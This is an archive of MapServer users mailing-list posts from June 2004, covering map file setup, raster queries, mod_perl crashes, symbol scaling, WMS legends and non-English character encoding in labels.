such as PAux (raw) format. eg. gdal_translate -of PAux myfile.tif myfile_grey.raw gdal_translate -of GTiff myfile_grey.raw myfile_grey.tif rm -f myfile_grey.raw myfile_grey.aux Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From eduardo at consultoria.eti.br Tue Jun 15 10:18:37 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Tue, 15 Jun 2004 14:18:37 -0300 Subject: [Mapserver-users] how many mapserver users are over the world? In-Reply-To: References: Message-ID: <20040615171837.30445.qmail@hm47.locaweb.com.br> the mapserver site is ok. but does anyone know this number? how many are on list? Eduardo On Tue, 15 Jun 2004 08:50:56 -0700, Tyler Mitchell escreveu: > De: Tyler Mitchell > Data: Tue, 15 Jun 2004 08:50:56 -0700 > Para: Eduardo Patto Kanegae > Assunto: Re: [Mapserver-users] MUM2 WMS failed > > > does anyone can estimate how many mapserver users are there over the > > whole world? 1000 ? or more? > > Good question, I heard that there are more than 1200 people on the mailing > list. > I was just going to check but it appears that the MapServer site is down - > anyone confirm this? > > Tyler > > > From tjmitchell at riverside.bc.ca Tue Jun 15 10:14:52 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Tue, 15 Jun 2004 10:14:52 -0700 Subject: [Mapserver-users] whats needed for the map itself In-Reply-To: <200406151631.i5FGVfFS026437@lists.gis.umn.edu> Message-ID: Hi Jeramie, > I apologize in advance for this very newbie question. We're all for newbies! > I have been > looking through the documentation trying to figure out what > mapserver needs to lets just say, generate a map of California.. if > anyone wouldn???t mind giving me a hand I would really appreciate it. > Please keep in mind this is my first mapping project and I???m not up > on all the acronyms (I don???t mind looking them up =] ) Here is a complete listing of a very basic map file - all it includes is a single image. This gives you an idea of the minimal requirements of a msp file but is, by no means, the most minimal. Hope it helps get you going. Tyler # # Start of map file # NAME DEMO STATUS ON SIZE 600 400 EXTENT -180 -90 180 90 # Whole world UNITS DD SHAPEPATH "./data" IMAGECOLOR 255 255 255 FONTSET "./fontsets/fonts.txt" WEB #HEADER demo_header.html TEMPLATE workshop.html #FOOTER demo_footer.html IMAGEPATH "/ms4w/tmp/ms_tmp" IMAGEURL "/ms_tmp/" END # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 0 0 0 SIZE small END STYLE 1 SIZE 250 4 COLOR 0 0 0 UNITS KILOMETERS INTERVALS 5 TRANSPARENT FALSE STATUS TRUE END LAYER NAME topo8 TYPE RASTER DATA ./raster/topo8.tif STATUS OFF PROJECTION "proj=latlong" "ellps=WGS84" # Geographic END END END # Map File From tjmitchell at riverside.bc.ca Tue Jun 15 10:27:35 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Tue, 15 Jun 2004 10:27:35 -0700 Subject: [Mapserver-users] Re: how many mapserver users are over the world? In-Reply-To: <20040615171837.30445.qmail@hm47.locaweb.com.br> Message-ID: > the mapserver site is ok. > > but does anyone know this number? how many are on list? The site was down but is back up now. There are 1240 subscribers to the mailing list at present. From dgadoury at dmsolutions.ca Tue Jun 15 10:25:49 2004 From: dgadoury at dmsolutions.ca (Dean Gadoury) Date: Tue, 15 Jun 2004 13:25:49 -0400 Subject: [Mapserver-users] review your bugs Message-ID: <40CF311D.8030005@dmsolutions.ca> Hi List, This is for anyone who has reported bugs in Bugzilla. At the recent MapServer User Meeting some of the core developers suggested some tips on getting your bugs addressed. The main thing was to provide clear steps to reproduce the bug including full error messages, map files, (small) data sets, screenshots, code snippets, suggestions, anything that will make it easier and faster to reproduce. There are probably quite a few bugs in Bugzilla right now that lack sufficient supporting information, so I suggest that everyone review the bugs you have reported and fill in the blanks where they appear. I'm sure the developers would appreciate it and it might even help move your pet bugs along. Dean From pramsey at refractions.net Tue Jun 15 10:30:07 2004 From: pramsey at refractions.net (Paul Ramsey) Date: Tue, 15 Jun 2004 10:30:07 -0700 Subject: [Mapserver-users] how many mapserver users are over the world? In-Reply-To: <20040615171837.30445.qmail@hm47.locaweb.com.br> References: <20040615171837.30445.qmail@hm47.locaweb.com.br> Message-ID: <40CF321F.8070008@refractions.net> Always the great unknown. Open source software is downloaded and used alot of the time by people who never join the lists. So lists are only a pale reflection of overall useage. It would be nice if mapserver had a 'phone-home' that hit a particular URL at UMN once and reported back it's version number and IP address. Then UMN could compile statistics about real mapserver usage, in terms of version deployed, and general location deployed (using some of the simple IP->location databases). It could be disabled with a --disabe-phonehome compile option for those who are shy, and would only do it once (dropping a file into tmp perhaps to indicate it has been done?). A dream, I know, but it is sad that we do not know the true size of our user community. I have often thought that Eduardo Patto Kanegae wrote: > the mapserver site is ok. > > but does anyone know this number? how many are on list? > > Eduardo > > On Tue, 15 Jun 2004 08:50:56 -0700, Tyler Mitchell escreveu: > > >>De: Tyler Mitchell >>Data: Tue, 15 Jun 2004 08:50:56 -0700 >>Para: Eduardo Patto Kanegae >>Assunto: Re: [Mapserver-users] MUM2 WMS failed >> >> >>>does anyone can estimate how many mapserver users are there over the >>>whole world? 1000 ? or more? >> >>Good question, I heard that there are more than 1200 people on the mailing >>list. >>I was just going to check but it appears that the MapServer site is down - >>anyone confirm this? > -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From vaiod at berloy.com Tue Jun 15 10:47:56 2004 From: vaiod at berloy.com (Eric Katherman) Date: Tue, 15 Jun 2004 10:47:56 -0700 Subject: [Mapserver-users] whats needed for the map itself In-Reply-To: <200406151631.i5FGVfFS026437@lists.gis.umn.edu> References: <200406151631.i5FGVfFS026437@lists.gis.umn.edu> Message-ID: <200406151047.56316.vaiod@berloy.com> You will need the shape files for California... There are some places on the web where you can either download or purchase shape file data. There are three files... a .dbf .shp .shx file for each dataset... You need a .map file for mapserver to interpret how you want your map to render that dataset... Have you installed and tested the demo that comes with MS? On Tuesday 15 June 2004 09:31 am, Jeramie Gatchell wrote: > Hi everyone, > > > > I apologize in advance for this very newbie question. I have been looking > through the documentation trying to figure out what mapserver needs to lets > just say, generate a map of California.. if anyone wouldn't mind giving me > a hand I would really appreciate it. Please keep in mind this is my first > mapping project and I'm not up on all the acronyms (I don't mind looking > them up =] ) > > > > Thanks a lot, > > > > Jeramie From tjmitchell at riverside.bc.ca Tue Jun 15 11:51:56 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Tue, 15 Jun 2004 11:51:56 -0700 Subject: [Mapserver-users] how many mapserver users are over the world? In-Reply-To: <40CF321F.8070008@refractions.net> Message-ID: Selling software makes it soo much easier :) We sure talk about "users" pretty loosely too - usually we talk about the actual app. developers and "map makers" but add in the "clients" of those applications and it must be quite interesting (and equally unmeasurable). > Always the great unknown. Open source software is downloaded and used > alot of the time by people who never join the lists. So lists are only a > pale reflection of overall useage. > > It would be nice if mapserver had a 'phone-home' that hit a particular > URL at UMN once and reported back it's version number and IP address. > Then UMN could compile statistics about real mapserver usage, in terms > of version deployed, and general location deployed (using some of the > simple IP->location databases). It could be disabled with a > --disabe-phonehome compile option for those who are shy, and would only > do it once (dropping a file into tmp perhaps to indicate it has been done?). > > A dream, I know, but it is sad that we do not know the true size of our > user community. > > I have often thought that From warmerdam at pobox.com Tue Jun 15 13:03:08 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 15 Jun 2004 16:03:08 -0400 Subject: [Mapserver-users] Query Raster Layer for Pixel Values In-Reply-To: <40CE920B.1010907@redcastleresources.com> References: <40CE920B.1010907@redcastleresources.com> Message-ID: <40CF55FC.2050709@pobox.com> John Norton wrote: > Sorry I missed the meeting in Ottawa. Frank W. probably discussed > querying raster layers in his workshop. Basically, I would like to a > query a raster layer (8 bit or 16 bit if possible) with a bounding > rectangle or possibly a user selected/defined shape and apply a function > to each of the pixel values, eg find the average value. Or could a query > just return a vector with the pixel values. I don't need the spatial > location for each, just the DN value. Any ideas how this may be done > with MS or where might I start? John, I would suggest you start by reading over the wiki topic: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?RasterQuery Basically, you can use normal query by point, rect or shape against raster layers, but you need to include a template for the raster layer. The results can be displayed using a template, or consumed in mapscript. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From eduardo at consultoria.eti.br Tue Jun 15 12:57:54 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Tue, 15 Jun 2004 16:57:54 -0300 Subject: [Mapserver-users] changing symbols while scale varies Message-ID: <20040615195754.23279.qmail@hm47.locaweb.com.br> using a standard mapserver cgi application, is it possible to declare a "multi-symbology" for a given layer? eg.: the layer will show VECTOR SYMBOLS while scale goes from 1:100000 to 1:10001 and from 1:10000 to 1:1000 it will show a given FILE ( .gif, .png ) as pixmap symbols. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** From Tom.Kralidis at ec.gc.ca Tue Jun 15 13:25:03 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Tue, 15 Jun 2004 16:25:03 -0400 Subject: [Mapserver-users] Query Raster Layer for Pixel Values Message-ID: <2576812186CDD411BF1500508B6DCE9507366FD3@ecnwri1.ontario.int.ec.gc.ca> Will this also be supported in WMS GetFeatureInfo requests? ..Tom > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Frank Warmerdam > Sent: Tuesday, June 15, 2004 4:03 PM > To: John Norton > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Query Raster Layer for Pixel Values > > > John Norton wrote: > > Sorry I missed the meeting in Ottawa. Frank W. probably discussed > > querying raster layers in his workshop. Basically, I would > like to a > > query a raster layer (8 bit or 16 bit if possible) with a bounding > > rectangle or possibly a user selected/defined shape and > apply a function > > to each of the pixel values, eg find the average value. Or > could a query > > just return a vector with the pixel values. I don't need > the spatial > > location for each, just the DN value. Any ideas how this > may be done > > with MS or where might I start? > > John, > > I would suggest you start by reading over the wiki topic: > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?RasterQuery Basically, you can use normal query by point, rect or shape against raster layers, but you need to include a template for the raster layer. The results can be displayed using a template, or consumed in mapscript. Best regards, -- ---------------------------------------+-------------------------------- ---------------------------------------+------ I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From David.Fawcett at state.mn.us Tue Jun 15 13:45:48 2004 From: David.Fawcett at state.mn.us (David Fawcett) Date: Tue, 15 Jun 2004 15:45:48 -0500 Subject: [Mapserver-users] changing symbols while scale varies Message-ID: Eduardo, You could simply define two separate scale-dependent layers by specifying MINSCALE and MAXSCALE to fit the two ranges of scale. You would then define a vector symbol in one layer and the pixmap symbol in the other layer. David. David J. Fawcett MN Office of Environmental Assistance >>> "Eduardo Patto Kanegae" 6/15/2004 2:57:54 PM >>> using a standard mapserver cgi application, is it possible to declare a "multi-symbology" for a given layer? eg.: the layer will show VECTOR SYMBOLS while scale goes from 1:100000 to 1:10001 and from 1:10000 to 1:1000 it will show a given FILE ( .gif, .png ) as pixmap symbols. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From warmerdam at pobox.com Tue Jun 15 13:57:27 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Tue, 15 Jun 2004 16:57:27 -0400 Subject: [Mapserver-users] Query Raster Layer for Pixel Values In-Reply-To: <2576812186CDD411BF1500508B6DCE9507366FD3@ecnwri1.ontario.int.ec.gc.ca> References: <2576812186CDD411BF1500508B6DCE9507366FD3@ecnwri1.ontario.int.ec.gc.ca> Message-ID: <40CF62B7.7000101@pobox.com> Kralidis,Tom [Burlington] wrote: > Will this also be supported in WMS GetFeatureInfo requests? Tom, Reading through the code it seems like it would work, but I haven't tested it. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From woodbri at swoodbridge.com Tue Jun 15 14:54:18 2004 From: woodbri at swoodbridge.com (Stephen Woodbridge) Date: Tue, 15 Jun 2004 17:54:18 -0400 Subject: [Mapserver-users] how many mapserver users are over the world? In-Reply-To: References: Message-ID: <40CF700A.6060705@swoodbridge.com> http://www.google.com/search?num=100&hl=en&lr=&ie=UTF-8&newwindow=1&safe=off&q=%22cgi-bin%2Fmapserv%22&btnG=Search and this doesn't even count PHP, Perl or Python scripts -Steve W. Tyler Mitchell wrote: > Selling software makes it soo much easier :) > > We sure talk about "users" pretty loosely too - usually we talk about the > actual app. developers and "map makers" but add in the "clients" of those > applications and it must be quite interesting (and equally unmeasurable). > > > >>Always the great unknown. Open source software is downloaded and used >>alot of the time by people who never join the lists. So lists are only a > > >>pale reflection of overall useage. >> >>It would be nice if mapserver had a 'phone-home' that hit a particular >>URL at UMN once and reported back it's version number and IP address. >>Then UMN could compile statistics about real mapserver usage, in terms >>of version deployed, and general location deployed (using some of the >>simple IP->location databases). It could be disabled with a >>--disabe-phonehome compile option for those who are shy, and would only >>do it once (dropping a file into tmp perhaps to indicate it has been > > done?). > >>A dream, I know, but it is sad that we do not know the true size of our >>user community. >> >>I have often thought that > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From lfilak at medinaco.org Tue Jun 15 07:44:47 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 15 Jun 2004 10:44:47 -0400 Subject: [Mapserver-users] mod_perl segfaults Message-ID: <20040615144436.DF58C1A65C7@mail.medinaco.org> The following message was sent by Robert Marcus Evans on Tue, 15 Jun 2004 10:24:56 -0400. > Actually, we're using mod_perl/HTML::Mason in one place, and straight cgi's > in another. The CGI's don't ever seem to crash, whereas the mason is > unstable. I don't think it would be a threading issue, as I create a new map > object for each request. However, it would be possible for multiple > simultaneous map objects to exist for the same base file. Furthermore, I use > the static .map file as a base, and draw different dynamic objects on top, > depending on the request. I don't explicitly kill the map objects (is there > some kind of locking mechanism?), but then they're in a lexical scope and > should be garbage collected. You guys seem to be suggesting that if I used a > static map object for each apache process, the problem would still exist. > Anyone have any other ideas? > > -rob > > Lowell Filak wrote this on Tue, Jun 15, 2004 at 09:47:38AM -0400: > > The following message was sent by covad at ert.dyndns.org on Mon, 14 Jun > > 2004 15:30:43 -0400. > > > > > I'm getting errors like the following: > > > > > > [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal > > Segmentation fault (11) > > > > > > in my apache error log, but only intermittently. The site is usable, but > > > craps out ~25% of the time. > > > > > > I'm running perl mapscript 4.2.0, apache 1.3.31, and mod_perl 1.29. > > > > > > Has anyone else seen behavior like this? > > > > > > Would rolling back to mapscript 4.0 help? > > > > > > Thanks, > > > > > > -rob > > > > > > > Rob > > > > As Sean mentioned before - it is probably due to multiple requests into > > the same map/mapObj. > > Starting in 4.2 it should be safe to clone the map to avoid this but it > > does require more testing then what has been done. > > If that doesn't work I know that GOMOOS (currently very busy so I'm not > > sure they will reply) currently uses mod_perl but opens a new map for > > each request to ensure that two requests do not conflict. > > > > Lowell > Rob Until I have a chance to switch our server to mod_perl I can't reproduce the issue but I meant to suggest that you Do use a static map object for each request to try and eliminate the problem. Dynamic objects being drawn via MapScript only change the map object and not the map file so it sounds like your expecting the map object to not be shared between requests but in fact it is.? You do not need to explicitly kill map objects and as long as seperate requests are not sharing the same map object the process of 'reading' the same static map file is read-only so no locking should be required... unless your doing a saveMapContext.? Lowell From lfilak at medinaco.org Tue Jun 15 06:47:38 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 15 Jun 2004 09:47:38 -0400 Subject: [Mapserver-users] mod_perl segfaults Message-ID: <20040615134727.DFEA81A659B@mail.medinaco.org> The following message was sent by covad at ert.dyndns.org on Mon, 14 Jun 2004 15:30:43 -0400. > I'm getting errors like the following: > > [Mon Jun 14 14:22:49 2004] [notice] child pid 19412 exit signal Segmentation fault (11) > > in my apache error log, but only intermittently. The site is usable, but > craps out ~25% of the time. > > I'm running perl mapscript 4.2.0, apache 1.3.31, and mod_perl 1.29. > > Has anyone else seen behavior like this? > > Would rolling back to mapscript 4.0 help? > > Thanks, > > -rob > Rob As Sean mentioned before - it is probably due to multiple requests into the same map/mapObj. Starting in 4.2 it should be safe to clone the map to avoid this but it does require more testing then what has been done. If that doesn't work I know that GOMOOS (currently very busy so I'm not sure they will reply) currently uses mod_perl but opens a new map for each request to ensure that two requests do not conflict. Lowell From 1wilkerson at charter.net Tue Jun 15 20:05:06 2004 From: 1wilkerson at charter.net (P Wilkerson) Date: Tue, 15 Jun 2004 23:05:06 -0400 Subject: [Mapserver-users] Help: Using two or more symbols based on attributes within a Query References: <20040615134727.DFEA81A659B@mail.medinaco.org> Message-ID: <000c01c4534e$baee4b30$6400a8c0@Dale1> I would like to use PHP/Mapscript to query one layer that contains two classes. My goal is to have the following result of a query: All points where FULL_NAME="JOSIAH SMITH" Display those points as a circle where DATA_CODE = "RES" Display those points as a triangle where DATA_CODE = "COM" Note about data: In the SHP file there are two entries for JOSIAH SMITH, one for his residence address; another for his business address. Ideally, the residence would plot as a circle and the business address would plot as a triangle. My problem is that the code below returns the contents of the whole SHP file. Obviously I am missing something important and need help. I would very much appreciate any suggestions you might offer! Peter Wilkerson -------------------------- CURRENT SCRIPT $poLayer = $gpoMap->getlayerbyname(Layer01Q); $poLayer->setMetaData("RESULT_FIELDS", "DATA_CODE FULL_NAME OCCUPATION COMM_ADDR RES_ADDR"); $poClass1 = $poLayer->getClass(0); $poStyle1 = $poClass1->getStyle(0); $poStyle1->set("symbolname", "circle"); $poClass2 = $poLayer->getClass(1); $poStyle2 = $poClass2->getStyle(0); $poStyle2->set("symbolname", "triangle"); $poLayer->set(classitem,$L1elements[4]); $poClass1->setexpression("('[DATA_CODE]' = \"RES\") and ('[$L1elements[4]]' = $L1elements[5])"); $poClass2->setexpression("('[DATA_CODE]' = \"COM\") and ('[$L1elements[4]]' = $L1elements[5])"); // WHERE $L1elements[4] is a variable containing a valid field name, say "FULL_NAME" // WHERE $L1elements[5] is a variable that contains a string value supplied by the end user. -------------------------------- MAP FILE FOR LAYER (Layer01Q) LAYER #Query NAME Layer01Q METADATA "DESCRIPTION" "1855 Residential Directory" "RESULT_FIELDS" "DATA_CODE NAME OCCUPATION RESADDR" "DISPLAY_FIELDS" "Code Name Occupation Address" END TYPE POINT STATUS OFF DATA "/usr/local/www/htdocs/pwilkerson.decimaldegrees.com/data/d1855/1855_ residential" TOLERANCE 20 # Defines the field to be searched CLASS NAME "RES" COLOR 153 204 255 OUTLINECOLOR 51 51 51 TEMPLATE "ttt_query.html" SYMBOL "circle" SIZE 10 END # class CLASS NAME "COM" COLOR 0 204 255 OUTLINECOLOR 51 51 51 TEMPLATE "ttt_query.html" SYMBOL "triangle" SIZE 10 END # class END # layer From richard.orchard at ermapper.com.au Tue Jun 15 21:31:14 2004 From: richard.orchard at ermapper.com.au (Richard Orchard) Date: Wed, 16 Jun 2004 12:31:14 +0800 Subject: [Mapserver-users] Requesting a legend with WMS Message-ID: hi, Is there a way to request a legend from MapServer with WMS? I have been searching for information, but it seems rather elusive... Thanks in advance, Richard This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.. www.ermapper.com www.earthetc.com From bartvde at xs4all.nl Tue Jun 15 23:16:15 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Wed, 16 Jun 2004 08:16:15 +0200 Subject: [Mapserver-users] Requesting a legend with WMS In-Reply-To: References: Message-ID: Hi, there is with SLD WMS. I don't think our code is already in CVS yet though. See the following bug report if you want to keep track of it: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=653 Best regards, Bart On Wed, 16 Jun 2004 12:31:14 +0800, Richard Orchard wrote: > hi, > > Is there a way to request a legend from MapServer with WMS? I have been > searching for information, but it seems rather elusive... > > Thanks in advance, > > Richard > > > > > This email and any files transmitted with it are confidential and > intended solely for the use of the individual or entity to whom they are > addressed. If you have received this email in error please notify the > sender immediately and delete the original. Any other use of the email > by you is prohibited.. > > www.ermapper.com > www.earthetc.com > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From andreas at infodim.gr Wed Jun 16 00:02:13 2004 From: andreas at infodim.gr (Andreas Trantidis) Date: Wed, 16 Jun 2004 10:02:13 +0300 Subject: [Mapserver-users] language support Message-ID: <002201c4536f$daefcb40$c900a8c0@infogroup.local> This is a multi-part message in MIME format. ------=_NextPart_000_001F_01C45388.FF074260 Content-Type: text/plain; charset="iso-8859-7" Content-Transfer-Encoding: quoted-printable Hello!=20 I am new on MapServer, though it is so well structured that I do not = face many difficulties exploring and understanding all the functionality = that it provides.=20 Basically I have installed the MapServer on Windows XP and furthermore I = have also installed the php/MapScript. I am using Apache 2 and php = 4.3.1. These days I am reading the class reference of the mapscript and = furthermore I am trying to underastand in depth the structure of the = .map file and the interface between the various classes.=20 In order to test and work on the service, I have a few shape files = exported from ArcGIS 8.3.=20 Although I have my map working and I am going deeper, I have one big = problem witch I can not overcome. I cannot illustrate greek characters = (on the label of a layer, stored on its .dbf file). I have tryed to = illustrate labels in English and everything worked fine! So, I suppose = the problem is on the non-english language support.=20 Any ideas? Thank you for your time Andreas ------=_NextPart_000_001F_01C45388.FF074260 Content-Type: text/html; charset="iso-8859-7" Content-Transfer-Encoding: quoted-printable
Hello!
 
I am new on MapServer, though it is = so well=20 structured that I do not face many difficulties exploring and = understanding all=20 the functionality that it provides.
 
Basically I have installed the = MapServer on Windows=20 XP and furthermore I have also installed the php/MapScript. I am using = Apache 2=20 and php 4.3.1. These days I am reading the class reference of the = mapscript and=20 furthermore I am trying to underastand in depth the structure of = the .map=20 file and the interface between the various = classes. 
 
In order to test and work on the = service, I have a=20 few shape files exported from ArcGIS 8.3.
 
Although I have my map working and I am = going=20 deeper, I have one big problem witch I can not overcome. I cannot=20 illustrate greek characters (on the label of a layer, stored on its = .dbf=20 file). I have tryed to illustrate labels in English and everything = worked fine!=20 So, I suppose the problem is on the non-english language support. =
 
Any ideas?
 
Thank you for your time
 
Andreas
------=_NextPart_000_001F_01C45388.FF074260-- From andreas at infodim.gr Wed Jun 16 00:04:42 2004 From: andreas at infodim.gr (Andreas Trantidis) Date: Wed, 16 Jun 2004 10:04:42 +0300 Subject: [Mapserver-users] list Message-ID: <003901c45370$3303dbf0$c900a8c0@infogroup.local> This is a multi-part message in MIME format. ------=_NextPart_000_0036_01C45389.57BAEE70 Content-Type: text/plain; charset="iso-8859-7" Content-Transfer-Encoding: quoted-printable andreas at infodim.gr ------=_NextPart_000_0036_01C45389.57BAEE70 Content-Type: text/html; charset="iso-8859-7" Content-Transfer-Encoding: quoted-printable
andreas at infodim.gr
------=_NextPart_000_0036_01C45389.57BAEE70-- From janeks.kamerovskis at silva.lv Wed Jun 16 00:57:23 2004 From: janeks.kamerovskis at silva.lv (Janeks Kamerovskis) Date: Wed, 16 Jun 2004 10:57:23 +0300 Subject: [Mapserver-users] language support In-Reply-To: <002201c4536f$daefcb40$c900a8c0@infogroup.local> Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_002C_01C45390.B4333F70 Content-Type: text/plain; charset="windows-1257" Content-Transfer-Encoding: 7bit I faced with similar problem in Latvian. I partly solved them by using an old fonts, that was working in old ArcView 3.x. These old fonts used diffrent encoding, that currently in Win system. Now I can display texts on map correctly, but queries with specific language characters doesn't work. Also if I would like to display dbf table data, then also problems. ArcView 8.x corectly works with old types of .dbf and encodings there. I can see and edit/search tables by using current fonts with Baltic encoding. One solution, that I did'n try, is to write in php function that converts charcodes. I solved similar problem in FoxBase in time, when I need to see md-dos encoding in windows and vice versa. Brobably there could be solution to use joins with attribute tables of non dbf format. >From the other side those local encodings and conversation are quite time consumable if you need to go trought them yourself. F.ex. in Latvian there are at least 5 encodings. Of course currently are used mainly 2 or 3, but what I wanted to say is for promoting Mapserver for non english use I would be glad to see more detailed descriptions about localization capabilities/encoding support of Mapserver from a guru, that understands encodings well. I put something in Wiki, but there was no activities yet. brgds Janeks -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Andreas Trantidis Sent: Wednesday, June 16, 2004 10:02 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] language support Hello! I am new on MapServer, though it is so well structured that I do not face many difficulties exploring and understanding all the functionality that it provides. Basically I have installed the MapServer on Windows XP and furthermore I have also installed the php/MapScript. I am using Apache 2 and php 4.3.1. These days I am reading the class reference of the mapscript and furthermore I am trying to underastand in depth the structure of the .map file and the interface between the various classes. In order to test and work on the service, I have a few shape files exported from ArcGIS 8.3. Although I have my map working and I am going deeper, I have one big problem witch I can not overcome. I cannot illustrate greek characters (on the label of a layer, stored on its .dbf file). I have tryed to illustrate labels in English and everything worked fine! So, I suppose the problem is on the non-english language support. Any ideas? Thank you for your time Andreas ------=_NextPart_000_002C_01C45390.B4333F70 Content-Type: text/html; charset="windows-1257" Content-Transfer-Encoding: quoted-printable
I=20 faced with similar problem in Latvian.
 
I=20 partly solved them by using an old fonts, that was working in old = ArcView=20 3.x.
These=20 old fonts used diffrent encoding, that currently in Win=20 system.
Now I=20 can display texts on map correctly, but queries with specific=20 language
characters doesn't work. Also if I would like = to=20 display dbf table data, then also
problems.
ArcView 8.x corectly works with old types of = .dbf and=20 encodings there. I can see
and=20 edit/search tables by using current fonts with Baltic=20 encoding.
One=20 solution, that I did'n try, is to write in php function that converts=20 charcodes.
I=20 solved similar problem in FoxBase in time, when I need to see md-dos=20 encoding
in=20 windows and vice versa.
 
Brobably there could be solution to use joins = with=20 attribute tables of non dbf format.
 
From=20 the other side those local encodings and conversation are quite time=20
consumable if you need to go trought = them yourself.=20 F.ex. in Latvian there are at least 5 encodings.
Of=20 course currently are used mainly 2 or 3, but what I wanted to say is for = promoting
Mapserver for non english use I would be glad = to see=20 more detailed descriptions about
localization capabilities/encoding = support of=20 Mapserver from a guru, that understands encodings
well.
 I put something in Wiki, but there was = no=20 activities yet.
 
 
brgds
Janeks
-----Original Message-----
From:=20 mapserver-users-admin at lists.gis.umn.edu=20 [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of = Andreas=20 Trantidis
Sent: Wednesday, June 16, 2004 10:02 = AM
To:=20 mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] = language support

Hello!
 
I am new on MapServer, though it is = so well=20 structured that I do not face many difficulties exploring and = understanding=20 all the functionality that it provides.
 
Basically I have installed the = MapServer on=20 Windows XP and furthermore I have also installed the php/MapScript. I = am using=20 Apache 2 and php 4.3.1. These days I am reading the class reference of = the=20 mapscript and furthermore I am trying to underastand in depth the = structure of the .map file and the interface between the = various=20 classes. 
 
In order to test and work on the = service, I have=20 a few shape files exported from ArcGIS 8.3.
 
Although I have my map working and I = am going=20 deeper, I have one big problem witch I can not overcome. I cannot = illustrate greek characters (on the label of a layer, stored = on its .dbf=20 file). I have tryed to illustrate labels in English and everything = worked=20 fine! So, I suppose the problem is on the non-english language = support.=20
 
Any ideas?
 
Thank you for your time
 
Andreas
------=_NextPart_000_002C_01C45390.B4333F70-- From boli611 at hotmail.com Wed Jun 16 01:37:03 2004 From: boli611 at hotmail.com (boli) Date: Wed, 16 Jun 2004 16:37:3 +0800 Subject: [Mapserver-users] about mapbrowser of maplab Message-ID: I have download maplab and install it under apache2. All tools can be used, but when I opened a mapfile with MapBrowser, the place for show the map is just white. And it turns to be a little red fork when I disabled the "rosa". Anything wrong? From boli611 at hotmail.com Wed Jun 16 01:48:36 2004 From: boli611 at hotmail.com (boli) Date: Wed, 16 Jun 2004 16:48:36 +0800 Subject: [Mapserver-users] about gmap Message-ID: I have download gmap and installed it under apache2. While I browse it, something went wrong. The error-message is: Warning: [MapServer Error]: msGetLabelSize(): Could not find/open font in D:\Program Files\Apache Group\Apache2\htdocs\gmap\htdocs\gmap75.php3 on line 530 Fatal error: Call to a member function on a non-object in D:\Program Files\Apache Group\Apache2\htdocs\gmap\htdocs\gmap75.php3 on line 531 What can I do about it? From andreas at infodim.gr Wed Jun 16 02:09:14 2004 From: andreas at infodim.gr (Andreas Trantidis) Date: Wed, 16 Jun 2004 12:09:14 +0300 Subject: [Mapserver-users] language support Message-ID: 